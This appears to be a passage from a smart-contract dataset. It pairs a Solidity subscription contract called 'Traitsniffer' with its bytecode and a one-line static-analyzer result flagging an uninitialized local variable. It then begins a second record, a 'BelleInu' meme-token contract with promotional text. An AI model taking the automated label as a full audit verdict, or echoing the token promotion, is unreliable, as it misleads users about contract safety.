* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Traitsniffer is Ownable {
uint256 public trialPrice = 100000000000000000;
uint256 constant private DAY_IN_UNIX = 86400;
uint256 private trialTimestamp = 3600;
bool public trialIsActive = false;
bool public saleIsActive = false;
mapping (address => bool) private whitelisted;
mapping (address => uint256) private userToTimeRegistered;
mapping (address => uint256) private trialToTime;
address[] private registeredAddresses;
Subscription[] private subscriptionPlans;
struct Subscription {
uint _price;
uint _days;
}
constructor() {
subscriptionPlans.push(Subscription(300000000000000000,14));
subscriptionPlans.push(Subscription(500000000000000000,30));
subscriptionPlans.push(Subscription(800000000000000000,60));
}
function register(uint _id) public payable {
require(msg.value == getPrice(_id), "Incorrect ETH value");
require(saleIsActive, "Sale not active");
require(subscriptionPlans[_id]._days > 0, "ID does not exist");
require(userToTimeRegistered[msg.sender] == 0, "Already registered");
require(whitelisted[msg.sender] == false, "Already whitelisted");
registeredAddresses.push(msg.sender);
userToTimeRegistered[msg.sender] = block.timestamp + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
}
function updateSubscription(uint _id) public payable{
require(msg.value == getPrice(_id), "Incorrect ETH value");
require(subscriptionPlans[_id]._days > 0, "ID does not exist.");
uint256 expireTime = userToTimeRegistered[msg.sender];
uint256 timestamp = block.timestamp;
require(saleIsActive || expireTime > timestamp, "Max users reached");
require(expireTime > 1, "User must register first");
if (expireTime < timestamp) {
// Previous subscription has expired
userToTimeRegistered[msg.sender] = timestamp + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
} else {
// Still has an active subscription but wants to add time
userToTimeRegistered[msg.sender] = expireTime + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
}
}
function buyTrial() public payable {
require(trialIsActive, "Trial buying closed");
require(msg.value == trialPrice, "Incorrect ETH value");
trialToTime[msg.sender] = block.timestamp + trialTimestamp;
}
function migrateExistingUsers(address[] memory _addresses, uint256[] memory _timestamps) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
registeredAddresses.push(_addresses[i]);
userToTimeRegistered[_addresses[i]] = _timestamps[i];
}
}
function flipTrialState() external onlyOwner {
trialIsActive = !trialIsActive;
}
function flipSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
function isTrial(address _address) external view returns (bool) {
return trialToTime[_address] > block.timestamp;
}
function hasAccess(address _address) external view returns (bool) {
return userToTimeRegistered[_address] > block.timestamp ||
whitelisted[_address] == true ||
trialToTime[_address] > block.timestamp;
}
function getTimestamp(address _address) external view returns (uint256) {
if (whitelisted[_address] == true) {
return 1;
} else if (trialToTime[_address] > block.timestamp){
return trialToTime[_address];
} else {
return userToTimeRegistered[_address];
}
}
function getActiveSubCount() public view returns(uint) {
uint activeSubCount;
uint256 timestamp = block.timestamp;
for(uint i = 0; i < registeredAddresses.length; i++) {
if (userToTimeRegistered[registeredAddresses[i]] > timestamp) {
activeSubCount++;
}
}
return activeSubCount;
}
function getAllSubscribers() external view returns (address[] memory) {
uint count = getActiveSubCount();
address [] memory activeUsers = new address[](count);
uint x;
uint256 timestamp = block.timestamp;
for(uint i = 0; i < registeredAddresses.length; i++) {
address current = registeredAddresses[i];
if (userToTimeRegistered[current] > timestamp) {
activeUsers[x++] = current;
}
}
return activeUsers;
}
function getWhitelisted() external view returns(address[] memory) {
uint whitelistedCount;
for(uint i = 0; i < registeredAddresses.length; i++) {
if (whitelisted[registeredAddresses[i]] == true) {
whitelistedCount++;
}
}
uint count = whitelistedCount;
address[] memory whitelistedUsers = new address[](count);
uint x;
for (uint i = 0; i < registeredAddresses.length; i++) {
address current = registeredAddresses[i];
if (whitelisted[current] == true) {
whitelistedUsers[x] = current;
x++;
}
}
return whitelistedUsers;
}
function getPrice(uint _id) public view returns(uint256) {
return subscriptionPlans[_id]._price;
}
function setPrice(uint _planId, uint256 _price) public onlyOwner {
subscriptionPlans[_planId]._price = _price;
}
function setTrialPeriod(uint256 _time) external onlyOwner {
trialTimestamp = _time;
}
function setTrialPrice(uint256 _price) external onlyOwner {
trialPrice = _price;
}
function giveTrial(address _address, uint256 _timestamp) external onlyOwner {
trialToTime[_address] = _timestamp;
}
function setTimestampForAddress(address _address, uint256 _timestamp) external onlyOwner {
if (userToTimeRegistered[_address] == 0) {
registeredAddresses.push(_address);
}
userToTimeRegistered[_address] = _timestamp;
}
function whitelistAddress(address _address) external onlyOwner {
require(whitelisted[_address] == false, "Already whitelisted");
if (userToTimeRegistered[_address] == 0) {
registeredAddresses.push(_address);
}
whitelisted[_address] = true;
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
require(whitelisted[_address] == true, "Not whitelisted");
delete whitelisted[_address];
}
function isRegistered(address _address) public view returns (bool) {
for(uint i = 0; i < registeredAddresses.length; i++) {
if (registeredAddresses[i] == _address ) {
return true;
}
}
return false;
}
function isWhitelisted(address _address) external view returns (bool) {
return whitelisted[_address];
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106101c25760003560e01c806395a078e8116100f7578063de0ee2eb11610095578063f207564e11610064578063f207564e146105ec578063f2fde38b14610608578063f7d9757714610631578063fcb1d4da1461065a576101c2565b8063de0ee2eb14610532578063e65f79f41461055b578063e757223014610584578063eb8d2444146105c1576101c2565b8063bcf73f20116100d1578063bcf73f2014610497578063c3c5a547146104c0578063d45b6aac146104fd578063daebc9d614610528576101c2565b806395a078e8146104045780639b372b2b14610441578063ac6d0fa41461046c576101c2565b8063415665851161016457806374d38e0f1161013e57806374d38e0f1461035557806381a36eec146103805780638bf57f4e1461039c5780638da5cb5b146103d9576101c2565b806341566585146102d85780634f345a1414610301578063715018a61461033e576101c2565b8063286dd3f5116101a0578063286dd3f51461024457806334918dfd1461026d5780633af32abf146102845780633ccfd60b146102c1576101c2565b80630d115258146101c75780630ff48155146101f25780631cc1f1851461021b575b600080fd5b3480156101d357600080fd5b506101dc610671565b6040516101e99190612df8565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612777565b610677565b005b34801561022757600080fd5b50610242600480360381019061023d919061273b565b61087e565b005b34801561025057600080fd5b5061026b60048036038101906102669190612712565b6109ee565b005b34801561027957600080fd5b50610282610b4f565b005b34801561029057600080fd5b506102ab60048036038101906102a69190612712565b610bf7565b6040516102b89190612c5d565b60405180910390f35b3480156102cd57600080fd5b506102d6610c4d565b005b3480156102e457600080fd5b506102ff60048036038101906102fa9190612712565b610d18565b005b34801561030d57600080fd5b5061032860048036038101906103239190612712565b610f2e565b6040516103359190612c5d565b60405180910390f35b34801561034a57600080fd5b50610353610f79565b005b34801561036157600080fd5b5061036a611001565b6040516103779190612df8565b60405180910390f35b61039a600480360381019061039591906127e3565b6110ef565b005b3480156103a857600080fd5b506103c360048036038101906103be9190612712565b61140f565b6040516103d09190612df8565b60405180910390f35b3480156103e557600080fd5b506103ee611549565b6040516103fb9190612c20565b60405180910390f35b34801561041057600080fd5b5061042b60048036038101906104269190612712565b611572565b6040516104389190612c5d565b60405180910390f35b34801561044d57600080fd5b50610456611661565b6040516104639190612c3b565b60405180910390f35b34801561047857600080fd5b50610481611949565b60405161048e9190612c3b565b60405180910390f35b3480156104a357600080fd5b506104be60048036038101906104b991906127e3565b611b30565b005b3480156104cc57600080fd5b506104e760048036038101906104e29190612712565b611bb6565b6040516104f49190612c5d565b60405180910390f35b34801561050957600080fd5b50610512611c8b565b60405161051f9190612c5d565b60405180910390f35b610530611c9e565b005b34801561053e57600080fd5b50610559600480360381019061055491906127e3565b611d84565b005b34801561056757600080fd5b50610582600480360381019061057d919061273b565b611e0a565b005b34801561059057600080fd5b506105ab60048036038101906105a691906127e3565b611ece565b6040516105b89190612df8565b60405180910390f35b3480156105cd57600080fd5b506105d6611f23565b6040516105e39190612c5d565b60405180910390f35b610606600480360381019061060191906127e3565b611f36565b005b34801561061457600080fd5b5061062f600480360381019061062a9190612712565b612280565b005b34801561063d57600080fd5b506106586004803603810190610653919061280c565b612378565b005b34801561066657600080fd5b5061066f612448565b005b60015481565b61067f6124f0565b73ffffffffffffffffffffffffffffffffffffffff1661069d611549565b73ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612d58565b60405180910390fd5b60005b825181101561087957600783828151811061073a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508181815181106107db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160056000858481518110610820577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061087190612fde565b9150506106f6565b505050565b6108866124f0565b73ffffffffffffffffffffffffffffffffffffffff166108a4611549565b73ffffffffffffffffffffffffffffffffffffffff16146108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190612d58565b60405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109a6576007829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6109f66124f0565b73ffffffffffffffffffffffffffffffffffffffff16610a14611549565b73ffffffffffffffffffffffffffffffffffffffff1614610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6190612d58565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af490612d18565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b610b576124f0565b73ffffffffffffffffffffffffffffffffffffffff16610b75611549565b73ffffffffffffffffffffffffffffffffffffffff1614610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290612d58565b60405180910390fd5b600360019054906101000a900460ff1615600360016101000a81548160ff021916908315150217905550565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610c556124f0565b73ffffffffffffffffffffffffffffffffffffffff16610c73611549565b73ffffffffffffffffffffffffffffffffffffffff1614610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090612d58565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d14573d6000803e3d6000fd5b5050565b610d206124f0565b73ffffffffffffffffffffffffffffffffffffffff16610d3e611549565b73ffffffffffffffffffffffffffffffffffffffff1614610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90612d58565b60405180910390fd5b60001515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e90612d78565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ed3576007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600042600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b610f816124f0565b73ffffffffffffffffffffffffffffffffffffffff16610f9f611549565b73ffffffffffffffffffffffffffffffffffffffff1614610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612d58565b60405180910390fd5b610fff60006124f8565b565b600080600042905060005b6007805490508110156110e657816005600060078481548110611058577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110d35782806110cf90612fde565b9350505b80806110de90612fde565b91505061100c565b50819250505090565b6110f881611ece565b3414611139576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113090612dd8565b60405180910390fd5b600060088281548110611175577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010154116111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be90612d98565b60405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000429050600360019054906101000a900460ff168061122a57508082115b611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126090612d38565b60405180910390fd5b600182116112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612db8565b60405180910390fd5b8082101561136157600883815481106112ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600101546201518061130e9190612f3c565b816113199190612ee6565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140a565b6008838154811061139b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010154620151806113bb9190612f3c565b826113c69190612ee6565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600060011515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156114735760019050611544565b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561150157600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611544565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600042600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611611575060011515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8061165a575042600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b9050919050565b6060600080600090505b600780549050811015611757576001151560046000600784815481106116ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561174457818061174090612fde565b9250505b808061174f90612fde565b91505061166b565b50600081905060008167ffffffffffffffff81111561179f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117cd5781602001602082028036833780820191505090505b509050600080600090505b60078054905081101561193e57600060078281548110611821577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561192a57808484815181106118e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828061192690612fde565b9350505b50808061193690612fde565b9150506117d8565b508194505050505090565b60606000611955611001565b905060008167ffffffffffffffff811115611999577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119c75781602001602082028036833780820191505090505b50905060008042905060005b600780549050811015611b2557600060078281548110611a1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b115780858580611a9d90612fde565b965081518110611ad6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b508080611b1d90612fde565b9150506119d3565b508294505050505090565b611b386124f0565b73ffffffffffffffffffffffffffffffffffffffff16611b56611549565b73ffffffffffffffffffffffffffffffffffffffff1614611bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba390612d58565b60405180910390fd5b8060018190555050565b600080600090505b600780549050811015611c80578273ffffffffffffffffffffffffffffffffffffffff1660078281548110611c1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c6d576001915050611c86565b8080611c7890612fde565b915050611bbe565b50600090505b919050565b600360009054906101000a900460ff1681565b600360009054906101000a900460ff16611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce490612cd8565b60405180910390fd5b6001543414611d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2890612dd8565b60405180910390fd5b60025442611d3f9190612ee6565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b611d8c6124f0565b73ffffffffffffffffffffffffffffffffffffffff16611daa611549565b73ffffffffffffffffffffffffffffffffffffffff1614611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612d58565b60405180910390fd5b8060028190555050565b611e126124f0565b73ffffffffffffffffffffffffffffffffffffffff16611e30611549565b73ffffffffffffffffffffffffffffffffffffffff1614611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d90612d58565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600060088281548110611f0a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600001549050919050565b600360019054906101000a900460ff1681565b611f3f81611ece565b3414611f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7790612dd8565b60405180910390fd5b600360019054906101000a900460ff16611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690612cb8565b60405180910390fd5b60006008828154811061200b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600101541161205d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205490612cf8565b60405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146120df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d690612c98565b60405180910390fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612172576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216990612d78565b60405180910390fd5b6007339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008818154811061220f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600101546201518061222f9190612f3c565b4261223a9190612ee6565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6122886124f0565b73ffffffffffffffffffffffffffffffffffffffff166122a6611549565b73ffffffffffffffffffffffffffffffffffffffff16146122fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f390612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561236c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236390612c78565b60405180910390fd5b612375816124f8565b50565b6123806124f0565b73ffffffffffffffffffffffffffffffffffffffff1661239e611549565b73ffffffffffffffffffffffffffffffffffffffff16146123f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123eb90612d58565b60405180910390fd5b806008838154811061242f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600001819055505050565b6124506124f0565b73ffffffffffffffffffffffffffffffffffffffff1661246e611549565b73ffffffffffffffffffffffffffffffffffffffff16146124c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bb90612d58565b60405180910390fd5b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006125cf6125ca84612e44565b612e13565b905080838252602082019050828560208602820111156125ee57600080fd5b60005b8581101561261e57816126048882612694565b8452602084019350602083019250506001810190506125f1565b5050509392505050565b600061263b61263684612e70565b612e13565b9050808382526020820190508285602086028201111561265a57600080fd5b60005b8581101561268a578161267088826126fd565b84526020840193506020830192505060018101905061265d565b5050509392505050565b6000813590506126a381613085565b92915050565b600082601f8301126126ba57600080fd5b81356126ca8482602086016125bc565b91505092915050565b600082601f8301126126e457600080fd5b81356126f4848260208601612628565b91505092915050565b60008135905061270c8161309c565b92915050565b60006020828403121561272457600080fd5b600061273284828501612694565b91505092915050565b6000806040838503121561274e57600080fd5b600061275c85828601612694565b925050602061276d858286016126fd565b9150509250929050565b6000806040838503121561278a57600080fd5b600083013567ffffffffffffffff8111156127a457600080fd5b6127b0858286016126a9565b925050602083013567ffffffffffffffff8111156127cd57600080fd5b6127d9858286016126d3565b9150509250929050565b6000602082840312156127f557600080fd5b6000612803848285016126fd565b91505092915050565b6000806040838503121561281f57600080fd5b600061282d858286016126fd565b925050602061283e858286016126fd565b9150509250929050565b60006128548383612860565b60208301905092915050565b61286981612f96565b82525050565b61287881612f96565b82525050565b600061288982612eac565b6128938185612ec4565b935061289e83612e9c565b8060005b838110156128cf5781516128b68882612848565b97506128c183612eb7565b9250506001810190506128a2565b5085935050505092915050565b6128e581612fa8565b82525050565b60006128f8602683612ed5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061295e601283612ed5565b91507f416c7265616479207265676973746572656400000000000000000000000000006000830152602082019050919050565b600061299e600f83612ed5565b91507f53616c65206e6f742061637469766500000000000000000000000000000000006000830152602082019050919050565b60006129de601383612ed5565b91507f547269616c20627579696e6720636c6f736564000000000000000000000000006000830152602082019050919050565b6000612a1e601183612ed5565b91507f494420646f6573206e6f742065786973740000000000000000000000000000006000830152602082019050919050565b6000612a5e600f83612ed5565b91507f4e6f742077686974656c697374656400000000000000000000000000000000006000830152602082019050919050565b6000612a9e601183612ed5565b91507f4d617820757365727320726561636865640000000000000000000000000000006000830152602082019050919050565b6000612ade602083612ed5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612b1e601383612ed5565b91507f416c72656164792077686974656c6973746564000000000000000000000000006000830152602082019050919050565b6000612b5e601283612ed5565b91507f494420646f6573206e6f742065786973742e00000000000000000000000000006000830152602082019050919050565b6000612b9e601883612ed5565b91507f55736572206d75737420726567697374657220666972737400000000000000006000830152602082019050919050565b6000612bde601383612ed5565b91507f496e636f7272656374204554482076616c7565000000000000000000000000006000830152602082019050919050565b612c1a81612fd4565b82525050565b6000602082019050612c35600083018461286f565b92915050565b60006020820190508181036000830152612c55818461287e565b905092915050565b6000602082019050612c7260008301846128dc565b92915050565b60006020820190508181036000830152612c91816128eb565b9050919050565b60006020820190508181036000830152612cb181612951565b9050919050565b60006020820190508181036000830152612cd181612991565b9050919050565b60006020820190508181036000830152612cf1816129d1565b9050919050565b60006020820190508181036000830152612d1181612a11565b9050919050565b60006020820190508181036000830152612d3181612a51565b9050919050565b60006020820190508181036000830152612d5181612a91565b9050919050565b60006020820190508181036000830152612d7181612ad1565b9050919050565b60006020820190508181036000830152612d9181612b11565b9050919050565b60006020820190508181036000830152612db181612b51565b9050919050565b60006020820190508181036000830152612dd181612b91565b9050919050565b60006020820190508181036000830152612df181612bd1565b9050919050565b6000602082019050612e0d6000830184612c11565b92915050565b6000604051905081810181811067ffffffffffffffff82111715612e3a57612e39613056565b5b8060405250919050565b600067ffffffffffffffff821115612e5f57612e5e613056565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612e8b57612e8a613056565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ef182612fd4565b9150612efc83612fd4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f3157612f30613027565b5b828201905092915050565b6000612f4782612fd4565b9150612f5283612fd4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f8b57612f8a613027565b5b828202905092915050565b6000612fa182612fb4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000612fe982612fd4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561301c5761301b613027565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61308e81612f96565b811461309957600080fd5b50565b6130a581612fd4565b81146130b057600080fd5b5056fea2646970667358221220367001c6783c5a9b5ce2486698eb28b5295059e005123b9d2eb2a7486fb9139864736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 2,665 |
0x4315e93513aafb7280b22c5089aa149ea9390100
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
/*
.---..---.
/| __.....__ | || | __.....__ .--. _..._
|| .-'' '. | || | .-'' '. |__| .' '.
|| / .-''"'-. `. | || | / .-''"'-. `. .--.. .-. .
|| __ / /________\ \| || |/ /________\ \| || ' ' |
||/'__ '. | || || || || || | | | _ _
|:/` '. '\ .-------------'| || |\ .-------------'| || | | | | ' / |
|| | | \ '-.____...---.| || | \ '-.____...---.| || | | | .' | .' |
||\ / ' `. .' | || | `. .' |__|| | | | / | / |
|/\'..' / `''-...... -' '---''---' `''-...... -' | | | || `'. |
' `'-'` | | | |' .'| '/
'--' '--' `-' `--'
Got rugged on Belle? BelleInu is here to bring gains to all on the Ethereum chain.
Telegram: https://t.me/BelleInuETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
